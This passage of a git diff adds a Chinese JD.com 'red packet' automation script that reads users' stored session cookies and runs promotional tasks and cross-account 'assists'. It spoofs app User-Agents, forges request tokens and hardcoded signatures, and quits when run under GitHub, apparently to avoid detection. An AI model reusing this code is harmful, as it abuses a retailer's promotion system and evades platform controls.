RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_redPacket_help.js b/backUp/jd_redPacket_help.js new file mode 100644 index 0000000..277f8e8 --- /dev/null +++ b/backUp/jd_redPacket_help.js @@ -0,0 +1,695 @@ +/* +京东全民开红包 +Last Modified time: 2021-05-19 16:27:18 +活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) +未实现功能:领3张券功能 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +================QuantumultX================== +[task_local] +#京东全民开红包 +1 0,10 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true +===================Loon============== +[Script] +cron "1 0,10 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_redPacket.js, tag=京东全民开红包 +===============Surge=============== +[Script] +京东全民开红包 = type=cron,cronexp="1 0,10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_redPacket.js +====================================小火箭============================= +京东全民开红包 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_redPacket.js, cronexpr="1 0,10 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东全民开红包内部助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let isLoginInfo = {} +$.redPacketId = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let res = await getAuthorShareCode('') + $.authorMyShareIds = [...(res || [])]; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.discount = 0; + await redPacket(); + await showMsg(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + $.redPacketId = [...new Set($.redPacketId)]; + if (!isLoginInfo[$.UserName]) continue + if (cookiesArr && cookiesArr.length >= 2) { + console.log(`\n\n自己账号内部互助`); + for (let j = 0; j < $.redPacketId.length && $.canHelp; j++) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${$.redPacketId[j]} 进行助力`) + $.max = false; + await jinli_h5assist($.redPacketId[j]); + await $.wait(15000) + if ($.max) { + $.redPacketId.splice(j, 1) + j-- + continue + } + } + } + if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { + console.log(`\n\n有剩余助力机会则给作者进行助力`); + for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给作者 ${$.authorMyShareIds[j]} 进行助力`) + $.max = false; + await jinli_h5assist($.authorMyShareIds[j]); + await $.wait(15000) + if ($.max) { + $.authorMyShareIds.splice(j, 1) + j-- + continue + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function redPacket() { + try { + //await doLuckDrawFun();//券后9.9抽奖 + //await taskHomePage();//查询任务列表 + //await doTask();//领取任务,做任务,领取红包奖励 + await h5activityIndex();//查询红包基础信息 + await red();//红包任务(发起助力红包,领取助力红包等) + await h5activityIndex(); + } catch (e) { + $.logErr(e); + } +} +function showMsg() { + console.log(`\n\n${$.name}获得红包:${$.discount}元\n\n`); + // $.msg($.name, '', `${$.name}:${$.discount}元`) +} +async function doLuckDrawFun() { + for (let i = 0; i < 3; i++) { + await doLuckDrawEntrance(); + } +} +function doLuckDrawEntrance() { + return new Promise(resolve => { + const options = { + url: 'https://api.m.jd.com/client.action?functionId=doLuckDrawEntrance&body=%7B%22platformType%22%3A%221%22%7D&appid=XPMSGC2019&client=m&clientVersion=1.0.0&area=19_1601_50258_62858&geo=%5Bobject%20Object%5D&uuid=88732f840b77821b345bf07fd71f609e6ff12f43', + headers: { + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Content-Length": "0", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "jdapp;iPhone;9.5.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;model/iPhone11,8;addressid/2005183373;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/yj8mbcm6roENn7qhNdhiekyeqtd/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === '0' && data.busiCode === '0') { + if (data.result.luckyDrawData.actId) { + if (data.result.luckyDrawData.redPacketId) { + console.log(`券后9.9抽奖获得【红包】:${data.result.luckyDrawData.quota}元`); + } else { + console.log(`券后9.9抽奖获得【优惠券】:${data.result.luckyDrawData.discount}元:${data.result.luckyDrawData.prizeName},${data.result.luckyDrawData.quotaDesc}`); + } + } else { + console.log(`券后9.9抽奖获失败:今日3次抽奖机会已用完\n`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask() { + if ($.taskHomePageData && $.taskHomePageData.code === 0) { + $.taskInfo = $.taskHomePageData.data.result.taskInfos; + if ($.taskInfo && $.taskInfo.length > 0) { + console.log(` 任务 状态 红包是否领取`); + for (let item of $.taskInfo) { + console.log(`${item.title.slice(-6)} ${item.alreadyReceivedCount ? item.alreadyReceivedCount: 0}/${item.requireCount} ${item.innerStatus === 4 ? '是':'否'}`) + } + for (let item of $.taskInfo) { + //innerStatus=4已领取红包,3:任务已完成,红包未领取,2:任务已领取,但未完成,7,未领取任务 + if (item.innerStatus === 4) { + console.log(`[${item.title}] 已经领取奖励`) + } else if (item.innerStatus === 3) { + await receiveTaskRedpacket(item.taskType); + } else if (item.innerStatus === 2) { + if (item.taskType !== 0 && item.taskType !== 1) { + console.log(`开始做【${item.title}】任务`); + await active(item.taskType); + console.log(`开始领取【${item.title}】任务所得红包奖励`); + await receiveTaskRedpacket(item.taskType); + } else if (item.taskType === 1) { + //浏览10秒任务 + console.log(`开始做【${item.title}】任务`); + await doAppTask(); + } else { + //TODO 领3张优惠券 + console.log(`[${item.title}] 功能未开发`) + } + } else if (item.innerStatus !== 4) { + console.log(`\n开始领取【${item.title}】任务`); + await startTask(item.taskType); + if (item.taskType !== 0 && item.taskType !== 1) { + console.log(`开始做【${item.title}】任务`); + await active(item.taskType); + console.log(`开始领取【${item.title}】任务所得红包奖励`); + await receiveTaskRedpacket(item.taskType); + } else if (item.taskType === 1) { + //浏览10秒任务 + console.log(`开始做【${item.title}】任务`); + await doAppTask(); + } else { + //TODO 领3张优惠券 + console.log(`[${item.title}] 功能未开发`) + } + } + } + } + } else { + console.log(`\n获取任务列表异常:${JSON.stringify($.taskHomePageData)}\n`) + } +} +async function red() { + $.hasSendNumber = 0; + $.assistants = 0; + $.waitOpenTimes = 0; + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { + const rewards = $.h5activityIndex.data.result.rewards || []; + $.hasSendNumber = $.h5activityIndex.data.result.hasSendNumber; + if ($.h5activityIndex.data.result.redpacketConfigFillRewardInfo) { + for (let key of Object.keys($.h5activityIndex.data.result.redpacketConfigFillRewardInfo)) { + let vo = $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[key] + $.assistants += vo.hasAssistNum + if (vo.packetStatus === 1) { + $.waitOpenTimes += 1 + } + } + } + } + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 10002) { + //可发起拆红包活动 + await h5launch(); + } else if ($.h5activityIndex && $.h5activityIndex.data && ($.h5activityIndex.data.biz_code === 20001)) { + //20001:红包活动正在进行,可拆 + const redPacketId = $.h5activityIndex.data.result.redpacketInfo.id; + if (redPacketId) $.redPacketId.push(redPacketId); + console.log(`\n\n当前待拆红包ID:${$.h5activityIndex.data.result.redpacketInfo.id},进度:再邀${$.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].requireAssistNum - $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].hasAssistNum}个好友,开第${$.hasSendNumber + 1}个红包。当前已拆红包:${$.hasSendNumber}个,剩余${$.h5activityIndex.data.result.remainRedpacketNumber}个红包待开,已有${$.assistants}好友助力\n\n`) + console.log(`当前可拆红包个数:${$.waitOpenTimes}`) + if ($.waitOpenTimes > 0) { + for (let i = 0; i < $.waitOpenTimes; i++) { + await h5receiveRedpacketAll(); + await $.wait(2000); + } + } + } else if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 20002) { + console.log(`\n${$.h5activityIndex.data.biz_msg}\n`); + } +} +//获取任务列表API +function taskHomePage() { + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + $.taskHomePageData = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取任务API,需token +function startTask(taskType) { + // 从taskHomePage返回的数据里面拿taskType + let data = {taskType}; + data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + console.log(`领取任务:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//做任务fun +async function active(taskType) { + const getTaskDetailForColorRes = await getTaskDetailForColor(taskType); + if (getTaskDetailForColorRes && getTaskDetailForColorRes.code === 0) { + if (getTaskDetailForColorRes.data && getTaskDetailForColorRes.data.result) { + const { advertDetails } = getTaskDetailForColorRes.data.result; + for (let item of advertDetails) { + await $.wait(1000); + if (item.id && item.status === 0) { + await taskReportForColor(taskType, item.id); + } + } + } else { + console.log(`任务列表为空,手动进入app内检查 是否存在[从京豆首页进领券中心逛30秒]的任务,如存在,请手动完成再运行脚本`) + $.msg(`${$.name}`, '', '手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本'); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `执行脚本出现异常\n请手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本`) + } + } else { + console.log(`---具体任务详情---${JSON.stringify(getTaskDetailForColorRes)}`); + } +} + +//获取具体任务详情API +function getTaskDetailForColor(taskType) { + const data = {"clientInfo":{}, taskType}; + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + // console.log('getTaskDetailForColor', data); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//做成任务API +function taskReportForColor(taskType, detailId) { + const data = {taskType, detailId}; + data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) + //console.log(`活动id:::${detailId}\n`) + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + // console.log(`taskReportForColor`, data); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取做完任务后的红包 +function receiveTaskRedpacket(taskType) { + const body = {"clientInfo":{}, taskType}; + return new Promise((resolve) => { + $.post(taskUrl('h5receiveRedpacketAll', body), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.data.success && data.data.biz_code === 0) { + console.log(`红包领取成功,获得${data.data.result.discount}元\n`) + $.discount += Number(data.data.result.discount); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//助力API +function jinli_h5assist(redPacketId) { + //一个人一天只能助力两次,助力码redPacketId 每天都变 + const body = {"clientInfo":{},redPacketId,"followShop":0,"promUserState":""}; + const options = taskUrl(arguments.callee.name.toString(), body) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + // status ,0:助力成功,1:不能重复助力,3:助力次数耗尽,8:不能为自己助力 + console.log(`助力结果:${data.data.result.statusDesc}`) + if (data.data.result.status === 2) $.max = true; + if (data.data.result.status === 3) $.canHelp = false; + if (data.data.result.status === 9) $.canHelp = false; + } else { + console.log(`助力异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//领取红包API +function h5receiveRedpacketAll() { + const options = taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + console.log(`拆红包获得:${data.data.result.discount}元`) + } else { + console.log(`领红包失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//发起助力红包API +function h5launch() { + const body = {"clientInfo":{},"followShop":0,"promUserState":""}; + const options = taskUrl(arguments.callee.name.toString(), body) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + if (data.data.result.redPacketId) { + console.log(`\n\n发起助力红包 成功:红包ID ${data.data.result.redPacketId}`) + $.redPacketId.push(data.data.result.redPacketId); + } else { + console.log(`\n\n发起助力红包 失败:${data.data.result.statusDesc}`) + } + } else { + console.log(`发起助力红包 失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function h5activityIndex() { + const body = {"clientInfo":{},"isjdapp":1}; + const options = taskUrl(arguments.callee.name.toString(), body); + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.h5activityIndex = data; + $.discount = 0; + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { + const rewards = $.h5activityIndex.data.result.rewards || []; + for (let item of rewards) { + $.discount += item.packetSum; + } + if ($.discount) $.discount = $.discount.toFixed(2); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doAppTask(type = '1') { + let body = { + "pageClickKey": "CouponCenter", + "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", + "lat": "", + "globalLat": "", + "lng": "", + "globalLng": "" + } + await getCcTaskList('getCcTaskList', body, type); + body = { + "globalLng": "", + "globalLat": "", + "monitorSource": "ccgroup_ios_index_task", + "monitorRefer": "", + "taskType": "1", + "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", + "pageClickKey": "CouponCenter", + "lat": "", + "taskId": "727", + "lng": "", + } + await $.wait(10500); + await getCcTaskList('reportCcTask', body, type); +} +function getCcTaskList(functionId, body, type = '1') { + let url = ''; + return new Promise(resolve => { + if (functionId === 'getCcTaskList') { + url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158358007&sign=a15f78e5846f9b0178dcabb1093a6a7f&sv=100` + } else if (functionId === 'reportCcTask') { + url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158435079&sign=7eff07437dd817dbfa348c209fd5c129&sv=120` + } + const options = { + url, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "63", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data); + if (type === '1' && functionId === 'reportCcTask') console.log(`京东首页点击“领券”逛10s任务:${data}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?appid=jinlihongbao&functionId=${functionId}&loginType=2&client=jinlihongbao&clientVersion=10.1.0&osVersion=iOS&d_brand=iPhone&d_model=iPhone&t=${new Date().getTime() * 1000}`, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://happy.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html", + "Content-Length": "56", + "Accept-Language": "zh-cn" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let 